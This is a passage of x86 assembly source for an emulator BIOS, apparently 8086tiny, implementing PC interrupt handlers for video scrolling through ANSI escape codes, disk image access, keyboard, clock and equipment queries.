mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, bl ; Background colour
call puts_decimal_al
mov al, 'm' ; Set cursor position command
extended_putchar_al
pop ax
pop bp
pop cx
pop bx
cmp al, 0 ; Clear window
jne cls_partial
cmp cx, 0 ; Start of screen
jne cls_partial
cmp dl, 0x4f ; Clearing columns 0-79
jb cls_partial
cmp dh, 0x18 ; Clearing rows 0-24 (or more)
jb cls_partial
call clear_screen
iret
cls_partial:
push ax
push bx
mov bl, al ; Number of rows to scroll are now in bl
cmp bl, 0 ; Clear whole window?
jne cls_partial_up_whole
mov bl, 25 ; 25 rows
cls_partial_up_whole:
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
cmp ch, 0 ; Start row 1? Maybe full screen
je cls_maybe_fs
jmp cls_not_fs
cls_maybe_fs:
cmp dh, 24 ; End row 25? Full screen for sure
je cls_fs
cls_not_fs:
mov al, ch ; Start row
inc al
call puts_decimal_al
mov al, ';' ; ANSI
extended_putchar_al
mov al, dh ; End row
inc al
call puts_decimal_al
cls_fs:
mov al, 'r' ; Set scrolling window
extended_putchar_al
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
cmp bl, 1
jne cls_fs_multiline
mov al, 'M'
jmp cs_fs_ml_out
cls_fs_multiline:
mov al, bl ; Number of rows
call puts_decimal_al
mov al, 'S' ; Scroll up
cs_fs_ml_out:
extended_putchar_al
pop bx
pop ax
; Update "actual" cursor position with expected value - different ANSI terminals do different things
; to the cursor position when you scroll
push ax
push bx
push dx
push es
mov ax, 0x40
mov es, ax
mov ah, 2
mov bh, 0
mov dh, [es:curpos_y-bios_data]
mov dl, [es:curpos_x-bios_data]
int 10h
pop es
pop dx
pop bx
pop ax
int10_scroll_up_vmem_update:
; Now, we need to update video memory
push bx
push ax
push ds
push es
push cx
push dx
push si
push di
mov byte [cs:vram_dirty], 1
push bx
mov bx, 0xb800
mov es, bx
mov ds, bx
pop bx
mov bl, al
cls_vmem_scroll_up_next_line:
cmp bl, 0
je cls_vmem_scroll_up_done
cls_vmem_scroll_up_one:
push bx
push dx
mov ax, 0
mov al, ch ; Start row number is now in AX
mov bx, 80
mul bx
add al, cl
adc ah, 0 ; Character number is now in AX
mov bx, 2
mul bx ; Memory location is now in AX
pop dx
pop bx
mov di, ax
mov si, ax
add si, 2*80 ; In a moment we will copy CX words from DS:SI to ES:DI
mov ax, 0
add al, dl
adc ah, 0
inc ax
sub al, cl
sbb ah, 0 ; AX now contains the number of characters from the row to copy
cmp ch, dh
jae cls_vmem_scroll_up_one_done
vmem_scroll_up_copy_next_row:
push cx
mov cx, ax ; CX is now the length (in words) of the row to copy
cld
rep movsw ; Scroll the line up
pop cx
inc ch ; Move onto the next row
jmp cls_vmem_scroll_up_one
cls_vmem_scroll_up_one_done:
push cx
mov cx, ax ; CX is now the length (in words) of the row to copy
mov ah, bh ; Attribute for new line
mov al, 0 ; Write 0 to video memory for new characters
cld
rep stosw
pop cx
dec bl ; Scroll whole text block another line
jmp cls_vmem_scroll_up_next_line
cls_vmem_scroll_up_done:
;mov al, 0x1B ; Escape
;extended_putchar_al
;mov al, '[' ; ANSI
;extended_putchar_al
;mov al, '0' ; Reset attributes
;extended_putchar_al
;mov al, 'm'
;extended_putchar_al
pop di
pop si
pop dx
pop cx
pop es
pop ds
pop ax
pop bx
iret
int10_scrolldown:
push bx
push cx
push bp
push ax
mov bp, bx ; Convert from CGA to ANSI
mov cl, 12
ror bp, cl
and bp, 7
mov bl, byte [cs:bp+colour_table]
add bl, 10
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, bl ; Background colour
call puts_decimal_al
mov al, 'm' ; Set cursor position command
extended_putchar_al
pop ax
pop bp
pop cx
pop bx
cmp al, 0 ; Clear window
jne cls_partial_down
cmp cx, 0 ; Start of screen
jne cls_partial_down
cmp dl, 0x4f ; Clearing columns 0-79
jne cls_partial_down
cmp dh, 0x18 ; Clearing rows 0-24 (or more)
jl cls_partial_down
call clear_screen
iret
cls_partial_down:
push ax
push bx
mov bx, 0
mov bl, al ; Number of rows to scroll are now in bl
cmp bl, 0 ; Clear whole window?
jne cls_partial_down_whole
mov bl, 25 ; 25 rows
cls_partial_down_whole:
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
cmp ch, 0 ; Start row 1? Maybe full screen
je cls_maybe_fs_down
jmp cls_not_fs_down
cls_maybe_fs_down:
cmp dh, 24 ; End row 25? Full screen for sure
je cls_fs_down
cls_not_fs_down:
mov al, ch ; Start row
inc al
call puts_decimal_al
mov al, ';' ; ANSI
extended_putchar_al
mov al, dh ; End row
inc al
call puts_decimal_al
cls_fs_down:
mov al, 'r' ; Set scrolling window
extended_putchar_al
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
cmp bl, 1
jne cls_fs_down_multiline
mov al, 'D'
jmp cs_fs_down_ml_out
cls_fs_down_multiline:
mov al, bl ; Number of rows
call puts_decimal_al
mov al, 'T' ; Scroll down
cs_fs_down_ml_out:
extended_putchar_al
; Update "actual" cursor position with expected value - different ANSI terminals do different things
; to the cursor position when you scroll
pop bx
pop ax
push ax
push bx
push dx
push es
mov ax, 0x40
mov es, ax
mov ah, 2
mov bh, 0
mov dh, [es:curpos_y-bios_data]
mov dl, [es:curpos_x-bios_data]
int 10h
pop es
pop dx
pop bx
pop ax
int10_scroll_down_vmem_update:
; Now, we need to update video memory
push ax
push bx
push ds
push es
push cx
push dx
push si
push di
mov byte [cs:vram_dirty], 1
push bx
mov bx, 0xb800
mov es, bx
mov ds, bx
pop bx
mov bl, al
cls_vmem_scroll_down_next_line:
cmp bl, 0
je cls_vmem_scroll_down_done
cls_vmem_scroll_down_one:
push bx
push dx
mov ax, 0
mov al, dh ; End row number is now in AX
mov bx, 80
mul bx
add al, cl
adc ah, 0 ; Character number is now in AX
mov bx, 2
mul bx ; Memory location (start of final row) is now in AX
pop dx
pop bx
mov di, ax
mov si, ax
sub si, 2*80 ; In a moment we will copy CX words from DS:SI to ES:DI
mov ax, 0
add al, dl
adc ah, 0
inc ax
sub al, cl
sbb ah, 0 ; AX now contains the number of characters from the row to copy
cmp ch, dh
jae cls_vmem_scroll_down_one_done
push cx
mov cx, ax ; CX is now the length (in words) of the row to copy
rep movsw ; Scroll the line down
pop cx
dec dh ; Move onto the next row
jmp cls_vmem_scroll_down_one
cls_vmem_scroll_down_one_done:
push cx
mov cx, ax ; CX is now the length (in words) of the row to copy
mov ah, bh ; Attribute for new line
mov al, 0 ; Write 0 to video memory for new characters
rep stosw
pop cx
dec bl ; Scroll whole text block another line
jmp cls_vmem_scroll_down_next_line
cls_vmem_scroll_down_done:
pop di
pop si
pop dx
pop cx
pop es
pop ds
;mov al, 0x1B ; Escape
;extended_putchar_al
;mov al, '[' ; ANSI
;extended_putchar_al
;mov al, '0' ; Reset attributes
;extended_putchar_al
;mov al, 'm'
;extended_putchar_al
pop bx
pop ax
iret
int10_charatcur:
; This returns the character at the cursor. It is completely dysfunctional,
; and only works at all if the character has previously been written following
; an int 10/ah = 2 call to set the cursor position. Added just to support
; GWBASIC.
push ds
push es
push bx
push dx
mov bx, 0x40
mov es, bx
mov bx, 0xc000
mov ds, bx
mov bx, 160
mov ax, 0
mov al, [es:curpos_y-bios_data]
mul bx
mov bx, 0
mov bl, [es:curpos_x-bios_data]
add ax, bx
add ax, bx
mov bx, ax
mov ah, 7
mov al, [bx]
pop dx
pop bx
pop es
pop ds
iret
i10_unsup:
iret
int10_write_char:
; First write the character to a buffer at C000:0. This is so that
; we can later retrieve it using the get character at cursor function,
; which GWBASIC uses.
push ds
push es
push cx
push dx
push ax
push bp
push bx
push ax
mov cl, al
mov ch, 7
mov bx, 0x40
mov es, bx
mov bx, 0xc000
mov ds, bx
mov bx, 160
mov ax, 0
mov al, [es:curpos_y-bios_data]
mul bx
mov bx, 0
mov bl, [es:curpos_x-bios_data]
shl bx, 1
add bx, ax
mov [bx], cx
pop ax
push ax
extended_putchar_al
jmp int10_write_char_skip_lines
int10_write_char_attrib:
; First write the character to a buffer at C000:0. This is so that
; we can later retrieve it using the get character at cursor function,
; which GWBASIC uses.
push ds
push es
push cx
push dx
push ax
push bp
push bx
push ax
push cx
mov cl, al
mov ch, bl
mov bx, 0x40
mov es, bx
mov bx, 0xc000
mov ds, bx
mov bx, 160
mov ax, 0
mov al, [es:curpos_y-bios_data]
mul bx
mov bx, 0
mov bl, [es:curpos_x-bios_data]
shl bx, 1
add bx, ax
mov [bx], cx
mov bl, ch
mov bh, bl
and bl, 7 ; Foreground colour now in bl
mov bp, bx ; Convert from CGA to ANSI
and bp, 0xff
mov bl, byte [cs:bp+colour_table]
and bh, 8 ; Bright attribute now in bh
cpu 186
shr bh, 3
cpu 8086
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, bh ; Bright attribute
call puts_decimal_al
mov al, ';'
extended_putchar_al
mov al, bl ; Foreground colour
call puts_decimal_al
mov bl, ch
mov bh, bl
cpu 186
shr bl, 4
cpu 8086
and bl, 7 ; Background colour now in bl
mov bp, bx ; Convert from CGA to ANSI
and bp, 0xff
mov bl, byte [cs:bp+colour_table]
add bl, 10
; rol bh, 1
; and bh, 1 ; Bright attribute now in bh (not used right now)
mov al, ';'
extended_putchar_al
mov al, bl ; Background colour
call puts_decimal_al
mov al, 'm' ; Set cursor position command
extended_putchar_al
pop cx
pop ax
push ax
out_another_char:
extended_putchar_al
dec cx
cmp cx, 0
jne out_another_char
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, '0' ; Reset attributes
extended_putchar_al
mov al, 'm'
extended_putchar_al
int10_write_char_skip_lines:
pop ax
push es
pop ds
cmp al, 0x08
jne int10_write_char_attrib_inc_x
dec byte [curpos_x-bios_data]
dec byte [crt_curpos_x-bios_data]
cmp byte [curpos_x-bios_data], 0
jg int10_write_char_attrib_done
mov byte [curpos_x-bios_data], 0
mov byte [crt_curpos_x-bios_data], 0
jmp int10_write_char_attrib_done
int10_write_char_attrib_inc_x:
cmp al, 0x0A ; New line?
je int10_write_char_attrib_newline
cmp al, 0x0D ; Carriage return?
jne int10_write_char_attrib_not_cr
mov byte [curpos_x-bios_data], 0
mov byte [crt_curpos_x-bios_data], 0
jmp int10_write_char_attrib_done
int10_write_char_attrib_not_cr:
inc byte [curpos_x-bios_data]
inc byte [crt_curpos_x-bios_data]
cmp byte [curpos_x-bios_data], 80
jge int10_write_char_attrib_newline
jmp int10_write_char_attrib_done
int10_write_char_attrib_newline:
mov byte [curpos_x-bios_data], 0
mov byte [crt_curpos_x-bios_data], 0
inc byte [curpos_y-bios_data]
inc byte [crt_curpos_y-bios_data]
cmp byte [curpos_y-bios_data], 25
jb int10_write_char_attrib_done
mov byte [curpos_y-bios_data], 24
mov byte [crt_curpos_y-bios_data], 24
mov bh, 7
mov al, 1
mov cx, 0
mov dx, 0x184f
pushf
push cs
call int10_scroll_up_vmem_update
int10_write_char_attrib_done:
pop bx
pop bp
pop ax
pop dx
pop cx
pop es
pop ds
iret
int10_get_vm:
push es
mov ax, 0x40
mov es, ax
mov ah, 80 ; Number of columns
mov al, [es:vidmode-bios_data]
mov bh, 0
pop es
iret
int10_features:
; Signify we have CGA display
; mov al, 0x1a
; mov bx, 0x0202
; iret
; ************************* INT 11h - get equipment list
int11:
mov ax, [cs:equip]
iret
; ************************* INT 12h - return memory size
int12:
mov ax, 0x280 ; 640K conventional memory
iret
; ************************* INT 13h handler - disk services
int13:
cmp ah, 0x00 ; Reset disk
je int13_reset_disk
cmp ah, 0x01 ; Get last status
je int13_last_status
cmp dl, 0x80 ; Hard disk being queried?
jne i13_diskok
; Now, need to check an HD is installed
cmp word [cs:num_disks], 2
jge i13_diskok
; No HD, so return an error
mov ah, 15 ; Report no such drive
jmp reach_stack_stc
i13_diskok:
cmp ah, 0x02 ; Read disk ; RUN 65652
je int13_read_disk
cmp ah, 0x03 ; Write disk
je int13_write_disk
cmp ah, 0x04 ; Verify disk
je int13_verify
cmp ah, 0x05 ; Format track - does nothing here
je int13_format
cmp ah, 0x08 ; Get drive parameters (hard disk)
je int13_getparams
cmp ah, 0x0c ; Seek (hard disk)
je int13_seek
cmp ah, 0x10 ; Check if drive ready (hard disk)
je int13_hdready
cmp ah, 0x15 ; Get disk type
je int13_getdisktype
cmp ah, 0x16 ; Detect disk change
je int13_diskchange
mov ah, 1 ; Invalid function
jmp reach_stack_stc
iret
int13_reset_disk:
jmp reach_stack_clc
int13_last_status:
mov ah, [cs:disk_laststatus]
je ls_no_error
stc
iret
ls_no_error:
clc
iret
int13_read_disk:
push dx
cmp dl, 0 ; Floppy 0
je i_flop_rd
cmp dl, 0x80 ; HD
je i_hd_rd
pop dx
mov ah, 1
jmp reach_stack_stc
i_flop_rd:
push si
push bp
cmp cl, [cs:int1e_spt]
ja rd_error
pop bp
pop si
mov dl, 1 ; Floppy disk file handle is stored at j[1] in emulator
jmp i_rd
i_hd_rd:
mov dl, 0 ; Hard disk file handle is stored at j[0] in emulator
i_rd:
push si
push bp
; Convert head/cylinder/sector number to byte offset in disk image
call chs_to_abs
; Now, SI:BP contains the absolute sector offset of the block. We then multiply by 512 to get the offset into the disk image
mov ah, 0
cpu 186
shl ax, 9
extended_read_disk
shr ax, 9 ; Maybe this is not needed, see https://github.com/adriancable/8086tiny/issues/7
cpu 8086
mov ah, 0x02 ; Put read code back
cmp al, 0
je rd_error
; Read was successful. Now, check if we have read the boot sector. If so, we want to update
; our internal table of sectors/track to match the disk format
cmp dx, 1 ; FDD?
jne rd_noerror
cmp cx, 1 ; First sector?
jne rd_noerror
push ax
; RUN 65729
mov al, [es:bx+24] ; Number of SPT in floppy disk BPB
; cmp al, 0 ; If disk is unformatted, do not update the table
; jne rd_update_spt
cmp al, 9 ; 9 SPT, i.e. 720K disk, so update the table
je rd_update_spt
cmp al, 18
je rd_update_spt ; 18 SPT, i.e. 1.44MB disk, so update the table
pop ax
jmp rd_noerror
rd_update_spt:
mov [cs:int1e_spt], al
pop ax
rd_noerror:
clc
mov ah, 0 ; No error
jmp rd_finish
rd_error:
stc
mov ah, 4 ; Sector not found
rd_finish:
pop bp
pop si
pop dx
mov [cs:disk_laststatus], ah
jmp reach_stack_carry
int13_write_disk:
push dx
cmp dl, 0 ; Floppy 0
je i_flop_wr
cmp dl, 0x80 ; HD
je i_hd_wr
pop dx
mov ah, 1
jmp reach_stack_stc
i_flop_wr:
mov dl, 1 ; Floppy disk file handle is stored at j[1] in emulator
jmp i_wr
i_hd_wr:
mov dl, 0 ; Hard disk file handle is stored at j[0] in emulator
i_wr:
push si
push bp
push cx
push di
; Convert head/cylinder/sector number to byte offset in disk image
call chs_to_abs
; Signal an error if we are trying to write beyond the end of the disk
cmp dl, 0 ; Hard disk?
jne wr_fine ; No - no need for disk sector valid check - NOTE: original submission was JNAE which caused write problems on floppy disk
; First, we add the number of sectors we are trying to write from the absolute
; sector number returned by chs_to_abs. We need to have at least this many
; sectors on the disk, otherwise return a sector not found error.
mov cx, bp
mov di, si
mov ah, 0
add cx, ax
adc di, 0
cmp di, [cs:hd_secs_hi]
ja wr_error
jb wr_fine
cmp cx, [cs:hd_secs_lo]
ja wr_error
wr_fine:
mov ah, 0
cpu 186
shl ax, 9
extended_write_disk
shr ax, 9
cpu 8086
mov ah, 0x03 ; Put write code back
cmp al, 0
je wr_error
clc
mov ah, 0 ; No error
jmp wr_finish
wr_error:
stc
mov ah, 4 ; Sector not found
wr_finish:
pop di
pop cx
pop bp
pop si
pop dx
mov [cs:disk_laststatus], ah
jmp reach_stack_carry
int13_verify:
mov ah, 0
jmp reach_stack_clc
int13_getparams:
cmp dl, 0
je i_gp_fl
cmp dl, 0x80
je i_gp_hd
mov ah, 0x01
mov [cs:disk_laststatus], ah
jmp reach_stack_stc
i_gp_fl:
push cs
pop es
mov di, int1e ; ES:DI now points to floppy parameters table (INT 1E)
mov ax, 0
mov bx, 4
mov ch, 0x4f
mov cl, [cs:int1e_spt]
mov dx, 0x0101
mov byte [cs:disk_laststatus], 0
jmp reach_stack_clc
i_gp_hd:
mov ax, 0
mov bx, 0
mov dl, 1
mov dh, [cs:hd_max_head]
mov cx, [cs:hd_max_track]
ror ch, 1
ror ch, 1
add ch, [cs:hd_max_sector]
xchg ch, cl
mov byte [cs:disk_laststatus], 0
jmp reach_stack_clc
int13_seek:
mov ah, 0
jmp reach_stack_clc
int13_hdready:
cmp byte [cs:num_disks], 2 ; HD present?
jne int13_hdready_nohd
cmp dl, 0x80 ; Checking first HD?
jne int13_hdready_nohd
mov ah, 0
jmp reach_stack_clc
int13_hdready_nohd:
jmp reach_stack_stc
int13_format:
mov ah, 0
jmp reach_stack_clc
int13_getdisktype:
cmp dl, 0 ; Floppy
je gdt_flop
cmp dl, 0x80 ; HD
je gdt_hd
mov ah, 15 ; Report no such drive
mov [cs:disk_laststatus], ah
jmp reach_stack_stc
gdt_flop:
mov ah, 1
jmp reach_stack_clc
gdt_hd:
mov ah, 3
mov cx, [cs:hd_secs_hi]
mov dx, [cs:hd_secs_lo]
jmp reach_stack_clc
int13_diskchange:
mov ah, 0 ; Disk not changed
jmp reach_stack_clc
; ************************* INT 14h - serial port functions
int14:
cmp ah, 0
je int14_init
jmp reach_stack_stc
int14_init:
mov ax, 0
jmp reach_stack_stc
; ************************* INT 15h - get system configuration
int15: ; Here we do not support any of the functions, and just return
; a function not supported code - like the original IBM PC/XT does.
; cmp ah, 0xc0
; je int15_sysconfig
; cmp ah, 0x41
; je int15_waitevent
; cmp ah, 0x4f
; je int15_intercept
; cmp ah, 0x88
; je int15_getextmem
; Otherwise, function not supported
mov ah, 0x86
jmp reach_stack_stc
; int15_sysconfig: ; Return address of system configuration table in ROM
;
; mov bx, 0xf000
; mov es, bx
; mov bx, rom_config
; mov ah, 0
;
; jmp reach_stack_clc
;
; int15_waitevent: ; Events not supported
;
; mov ah, 0x86
;
; jmp reach_stack_stc
;
; int15_intercept: ; Keyboard intercept
;
; jmp reach_stack_stc
;
; int15_getextmem: ; Extended memory not supported
;
; mov ah,0x86
;
; jmp reach_stack_stc
; ************************* INT 16h handler - keyboard
int16:
cmp ah, 0x00 ; Get keystroke (remove from buffer)
je kb_getkey
cmp ah, 0x01 ; Check for keystroke (do not remove from buffer)
je kb_checkkey
cmp ah, 0x02 ; Check shift flags
je kb_shiftflags
cmp ah, 0x12 ; Check shift flags
je kb_extshiftflags
iret
kb_getkey:
push es
push bx
push cx
push dx
mov bx, 0x40
mov es, bx
kb_gkblock:
cli
mov cx, [es:kbbuf_tail-bios_data]
mov bx, [es:kbbuf_head-bios_data]
mov dx, [es:bx]
sti
; Wait until there is a key in the buffer
cmp cx, bx
je kb_gkblock
add word [es:kbbuf_head-bios_data], 2
call kb_adjust_buf
mov ah, dh
mov al, dl
pop dx
pop cx
pop bx
pop es
iret
kb_checkkey:
push es
push bx
push cx
push dx
mov bx, 0x40
mov es, bx
mov cx, [es:kbbuf_tail-bios_data]
mov bx, [es:kbbuf_head-bios_data]
mov dx, [es:bx]
sti
; Check if there is a key in the buffer. ZF is set if there is none.
cmp cx, bx
mov ah, dh
mov al, dl
pop dx
pop cx
pop bx
pop es
retf 2 ; NEED TO FIX THIS!!
kb_shiftflags:
push es
push bx
mov bx, 0x40
mov es, bx
mov al, [es:keyflags1-bios_data]
pop bx
pop es
iret
kb_extshiftflags:
push es
push bx
mov bx, 0x40
mov es, bx
mov al, [es:keyflags1-bios_data]
mov ah, al
pop bx
pop es
iret
; ************************* INT 17h handler - printer
int17:
cmp ah, 0x01
je int17_initprint ; Initialise printer
jmp reach_stack_stc
int17_initprint:
mov ah, 1 ; No printer
jmp reach_stack_stc
; ************************* INT 19h = reboot
int19:
jmp boot
; ************************* INT 1Ah - clock
int1a:
cmp ah, 0
je int1a_getsystime ; Get ticks since midnight (used for RTC time)
cmp ah, 2
je int1a_gettime ; Get RTC time (not actually used by DOS)
cmp ah, 4
je int1a_getdate ; Get RTC date
cmp ah, 0x0f
je int1a_init ; Initialise RTC
iret
int1a_getsystime:
push ax
push bx
push ds
push es
push cs
push cs
pop ds
pop es
mov bx, timetable
extended_get_rtc
mov ax, 182 ; Clock ticks in 10 seconds
mul word [tm_msec]
mov bx, 10000
div bx ; AX now contains clock ticks in milliseconds counter
mov [tm_msec], ax
mov ax, 182 ; Clock ticks in 10 seconds
mul word [tm_sec]
mov bx, 10
mov dx, 0
div bx ; AX now contains clock ticks in seconds counter
mov [tm_sec], ax
mov ax, 1092 ; Clock ticks in a minute
mul word [tm_min] ; AX now contains clock ticks in minutes counter
mov [tm_min], ax
mov ax, 65520 ; Clock ticks in an hour
mul word [tm_hour] ; DX:AX now contains clock ticks in hours counter
add ax, [tm_msec] ; Add milliseconds in to AX
adc dx, 0 ; Carry into DX if necessary
add ax, [tm_sec] ; Add seconds in to AX
adc dx, 0 ; Carry into DX if necessary
add ax, [tm_min] ; Add minutes in to AX
adc dx, 0 ; Carry into DX if necessary
push dx
push ax
pop dx
pop cx
pop es
pop ds
pop bx
pop ax
mov al, 0
iret
int1a_gettime:
; Return the system time in BCD format. DOS doesn't use this, but we need to return
; something or the system thinks there is no RTC.
push ds
push es
push ax
push bx
push cs
push cs
pop ds
pop es
mov bx, timetable
extended_get_rtc
mov ax, 0
mov cx, [tm_hour]
call hex_to_bcd
mov bh, al ; Hour in BCD is in BH
mov ax, 0
mov cx, [tm_min]
call hex_to_bcd
mov bl, al ; Minute in BCD is in BL
mov ax, 0
mov cx, [tm_sec]
call hex_to_bcd
mov dh, al ; Second in BCD is in DH
mov dl, 0 ; Daylight saving flag = 0 always
mov cx, bx ; Hour:minute now in CH:CL
pop bx
pop ax
pop es
pop ds
jmp reach_stack_clc
int1a_getdate:
; Return the system date in BCD format.
push ds
push es
push bx
push ax
push cs
push cs
pop ds
pop es
mov bx, timetable
extended_get_rtc
mov ax, 0x1900
mov cx, [tm_year]
call hex_to_bcd
mov cx, ax
push cx
mov ax, 1
mov cx, [tm_mon]
call hex_to_bcd
mov dh, al
mov ax, 0
mov cx, [tm_mday]
call hex_to_bcd
mov dl, al
pop cx
pop ax
pop bx
pop es
pop ds
jmp reach_stack_clc
int1a_init:
jmp reach_stack_clc
; ************************* INT 1Ch - the other timer interrupt
int1c:
iret
; ************************* INT 1Eh - diskette parameter table
int1e:
db 0xdf ; Step rate 2ms, head unload time 240ms
db 0x02 ; Head load time 4 ms, non-DMA mode 0
db 0x25 ; Byte delay until motor turned off
db 0x02 ; 512 bytes per sector
int1e_spt db 18 ; 18 sectors per track (1.44MB)
db 0x1B ; Gap between sectors for 3.5" floppy
db 0xFF ; Data length (ignored)
db 0x54 ; Gap length when formatting
db 0xF6 ; Format filler byte
db 0x0F ; Head settle time (1 ms)
db 0x08 ; Motor start time in 1/8 seconds
; ************************* INT 41h - hard disk parameter table
int41:
int41_max_cyls dw 0
int41_max_heads db 0
dw 0
dw 0
db 0
db 11000000b
db 0
db 0
db 0
dw 0
int41_max_sect db 0
db 0
; ************************* ROM configuration table
rom_config dw 16 ; 16 bytes following
db 0xfe ; Model
db 'A' ; Submodel
db 'C' ; BIOS revision
db 0b00100000 ; Feature 1
db 0b00000000 ; Feature 2
db 0b00000000 ; Feature 3
db 0b00000000 ; Feature 4
db 0b00000000 ; Feature 5
db 0, 0, 0, 0, 0, 0
; Internal state variables
num_disks dw 0 ; Number of disks present
hd_secs_hi dw 0 ; Total sectors on HD (high word)
hd_secs_lo dw 0 ; Total sectors on HD (low word)
hd_max_sector dw 0 ; Max sector number on HD
hd_max_track dw 0 ; Max track number on HD
hd_max_head dw 0 ; Max head number on HD
drive_tracks_temp dw 0
drive_sectors_temp dw 0
drive_heads_temp dw 0
drive_num_temp dw 0
boot_state db 0
cga_refresh_reg db 0
; Default interrupt handlers
int0:
int1:
int2:
int3:
int4:
int5:
int6:
intb:
intc:
intd:
inte:
intf:
int18:
int1b:
int1d:
iret
; ************ Function call library ************
; Hex to BCD routine. Input is AX in hex (can be 0), and adds CX in hex to it, forming a BCD output in AX.
hex_to_bcd:
push bx
jcxz h2bfin
h2bloop:
inc ax
; First process the low nibble of AL
mov bh, al
and bh, 0x0f
cmp bh, 0x0a
jne c1
add ax, 0x0006
; Then the high nibble of AL
c1:
mov bh, al
and bh, 0xf0
cmp bh, 0xa0
jne c2
add ax, 0x0060
; Then the low nibble of AH
c2:
mov bh, ah
and bh, 0x0f
cmp bh, 0x0a
jne c3
add ax, 0x0600
c3:
loop h2bloop
h2bfin:
pop bx
ret
; Takes a number in AL (from 0 to 99), and outputs the value in decimal using extended_putchar_al.
puts_decimal_al:
push ax
aam
add ax, 0x3030 ; '00'
cmp ah, 0x30
je pda_2nd ; First digit is zero, so print only 2nd digit
xchg ah, al ; First digit is now in AL
extended_putchar_al ; Print first digit
xchg ah, al ; Second digit is now in AL
pda_2nd:
extended_putchar_al ; Print second digit
pop ax
ret
; Keyboard adjust buffer head and tail. If either head or the tail are at the end of the buffer, reset them
; back to the start, since it is a circular buffer.
kb_adjust_buf:
push ax
push bx
; Check to see if the head is at the end of the buffer (or beyond). If so, bring it back
; to the start
mov ax, [es:kbbuf_end_ptr-bios_data]
cmp [es:kbbuf_head-bios_data], ax
jnge kb_adjust_tail
mov bx, [es:kbbuf_start_ptr-bios_data]
mov [es:kbbuf_head-bios_data], bx
kb_adjust_tail:
; Check to see if the tail is at the end of the buffer (or beyond). If so, bring it back
; to the start
mov ax, [es:kbbuf_end_ptr-bios_data]
cmp [es:kbbuf_tail-bios_data], ax
jnge kb_adjust_done
mov bx, [es:kbbuf_start_ptr-bios_data]
mov [es:kbbuf_tail-bios_data], bx
kb_adjust_done:
pop bx
pop ax
ret
; Convert CHS disk position (in CH, CL and DH) to absolute sector number in BP:SI
; Floppy disks have 512 bytes per sector, 9/18 sectors per track, 2 heads. DH is head number (1 or 0), CH bits 5..0 is
; sector number, CL7..6 + CH7..0 is 10-bit cylinder/track number. Hard disks have 512 bytes per sector, but a variable
; number of tracks and heads.
chs_to_abs:
push ax
push bx
push cx
push dx
mov [cs:drive_num_temp], dl
; First, we extract the track number from CH and CL.
push cx
mov bh, cl
mov cl, 6
shr bh, cl
mov bl, ch
; Multiply track number (now in BX) by the number of heads
cmp byte [cs:drive_num_temp], 1 ; Floppy disk?
push dx
mov dx, 0
xchg ax, bx
jne chs_hd
shl ax, 1 ; Multiply by 2 (number of heads on FD)
push ax
xor ax, ax
mov al, [cs:int1e_spt]
mov [cs:drive_sectors_temp], ax ; Retrieve sectors per track from INT 1E table
pop ax
jmp chs_continue
chs_hd:
mov bp, [cs:hd_max_head]
inc bp
mov [cs:drive_heads_temp], bp
mul word [cs:drive_heads_temp] ; HD, so multiply by computed head count
mov bp, [cs:hd_max_sector] ; We previously calculated maximum HD track, so number of tracks is 1 more
mov [cs:drive_sectors_temp], bp
chs_continue:
xchg ax, bx
pop dx
xchg dh, dl
mov dh, 0
add bx, dx
mov ax, [cs:drive_sectors_temp]
mul bx
; Now we extract the sector number (from 1 to 63) - for some reason they start from 1
pop cx
mov ch, 0
and cl, 0x3F
dec cl
add ax, cx
adc dx, 0
mov bp, ax
mov si, dx
; Now, SI:BP contains offset into disk image file (FD or HD)
pop dx
pop cx
pop bx
pop ax
ret
; Clear screen using ANSI codes. Also clear video memory with attribute in BH
clear_screen:
push ax
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, 'r' ; Set scrolling window
extended_putchar_al
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, '0' ; Reset attributes
extended_putchar_al
mov al, 'm' ; Reset attributes
extended_putchar_al
push bx
push cx
push bp
push ax
push es
mov bp, bx ; Convert from CGA to ANSI
mov cl, 12
ror bp, cl
and bp, 7
mov bl, byte [cs:bp+colour_table]
add bl, 10
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, bl ; Background colour
call puts_decimal_al
mov al, 'm' ; Set cursor position command
extended_putchar_al
mov ax, 0x40
mov es, ax
mov byte [es:curpos_x-bios_data], 0
mov byte [es:crt_curpos_x-bios_data], 0
mov byte [es:curpos_y-bios_data], 0
mov byte [es:crt_curpos_y-bios_data], 0
pop es
pop ax
pop bp
pop cx
pop bx
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, '2' ; Clear screen
extended_putchar_al
mov al, 'J'
extended_putchar_al
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, '1' ; Cursor row 1
extended_putchar_al
mov al, ';'
extended_putchar_al
mov al, '1' ; Cursor column 1
extended_putchar_al
mov al, 'H' ; Set cursor
extended_putchar_al
push es
push di
push cx
cld
mov ax, 0xb800
mov es, ax
mov di, 0
mov al, 0
mov ah, bh
mov cx, 80*25
rep stosw
cld
mov di, 0xc800
mov es, di
mov di, 0
mov cx, 80*25
rep stosw
cld
mov di, 0xc000
mov es, di
mov di, 0
mov cx, 80*25
rep stosw
pop cx
pop di
pop es
pop ax
mov byte [cs:vram_dirty], 1
ret
; Pushes a key press, followed by a key release, event to I/O port 0x60 and calls
; INT 9.
keypress_release:
push ax
cmp byte [es:key_now_down-bios_data], 0
je kpr_no_prev_release
mov al, [es:key_now_down-bios_data]
add al, 0x80
call io_key_available
pop ax
push ax
kpr_no_prev_release:
mov [es:key_now_down-bios_data], al
call io_key_available
pop ax
ret
